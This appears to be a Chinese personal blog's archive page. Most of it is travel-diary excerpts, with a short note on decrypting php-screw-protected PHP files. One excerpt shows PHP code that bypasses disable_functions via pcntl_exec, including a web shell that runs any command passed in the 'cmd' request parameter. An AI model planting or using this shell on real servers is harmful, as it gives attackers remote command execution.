Author Archives: 梧桐雨

php disable_functions bypass

PHP 4 >= 4.2.0, PHP 5 pcntl_exec

<?php
$dir = '/var/tmp/';
$cmd = 'ls';
$option = '-l';
$pathtobin = '/bin/bash';
 
$arg = array($cmd, $option, $dir);
 
pcntl_exec($pathtobin, $arg);
echo '123';
?>
<?php
$cmd = @$_REQUEST[cmd];
if(function_exists('pcntl_exec')) {
    $cmd = $cmd."&pkill -9 bash >out";
    pcntl_exec("/bin/bash", $cmd);
    echo file_get_contents("out");        
} else {
        echo '不支持pcntl扩展';
}
?>

Continue reading

云南游记(2)

距离上一次去云南已有5年的时间,那一次还是和茶几部落一块去的,接近30个小时的火车。

由于是盘山的路,因此一路上经过了广东->广西->贵州->云南,再算上晚点的2个小时,抵达昆明的时候已经非常疲惫,但是记忆中很清楚,那是我第一次出远门,抵达昆明之后安顿好了马上就去吃了一顿当地的烧烤。

而这一次出发去云南,则是带着我即将上高中的表弟。

选择去云南,一部分是考虑到7月底、8月初的广州实在太热,其他的地方(譬如重庆、四川也很热)。更是受到冯提莫的一首歌中的mv影响《你在终点等我》 。

虽然mv中的拍摄有一些夸大的因素,还是很想去大理洱海看看,去走走。于是和表弟合计商量了一下,就带他去云南度假了。

day1:

因为我们是7.30号晚上的航班,所以抵达昆明的时候已经是深更半夜了,稍微休整了一下第二天就准备出发了。因为计划只在昆明待一天,所以选择去几所大学看看。 Continue reading

关于php-screw 解密

最近同事遇到了screw加密的问题,之前也没接触过这款加密扩展,便上网搜了下解决办法,顺便在这里记录一下,以便以后能用到。

情况复原,了解了下之后去官网把扩展下回来,把环境搭建起来了:
官网:https://sourceforge.net/projects/php-screw/

下回来之后make编译一下,编译好了之后,这款加密程序加密之后会生成对应后缀的文件,譬如1.php,加密之后就会替换掉1.php,而源文件(未加密的)则会更名为:1.php.screw

在github上找到对应的解密程序:https://github.com/firebroo/screw_decode

下载解密程序并编译:
git clone https://github.com/firebroo/screw_decode.git
make

Continue reading

元旦之旅(广州-漠河-哈尔滨)

很早以前就一直想去遥远的东北,想体验一下北国风光,但是自己的打算是6月左右的时间去漠河。

一是因为能看到极光(这才是重点),二是因为想看看6月的白桦林。

在一次不经意的聊天,发现正好也有一个学弟打算去漠河,只不过时间节点从6月变更为了1月,以至于2017年跨年也得在那边度过了。

想着正好工作忙忙碌碌了一年,年尾给自己来一次说走就走的旅行也不过分,于是便在11月的时候订下了飞哈尔滨的班机(九元航空),因为之前也没体验过廉航,这次也顺带一块体验了,主要感受就是空间太小,携带的行李很有限,一排总计6个座位,【左3,右3】。

订好机票之后当然就是开始规划准备的东西了,参考网上知乎、马蜂窝、携程等网站的攻略,结合自己不是太怕冷的需求,购置了如下清单: Continue reading

国庆七天游(舟山篇)

接上篇文章,最开始知道舟山、以及东极岛,并不是通过韩寒的电影《后会无期》,而是无意之中翻到一个人的微博,发现舟山东极岛那边美如画,于是在9月的时候就给自己定下去浙江舟山的计划。

因为国庆七天游(上海篇)已经记下了去上海的行程,下面我记录接下来的几天行程,也算是给想去舟山的朋友一个参考经验。

10.3

下午在上海南浦大桥(可以在上海地铁的南浦大桥站下)黄埔旅游集散中心乘坐前往舟山普陀客运站的大巴,票价约为150左右。车上还是很舒服的,有充电的地方,还有点心和饼干茶水。

值得一提的是,大巴会经过很长的跨海大桥(杭州湾大桥),行程过程中能看到风车以及漂亮的海景: Continue reading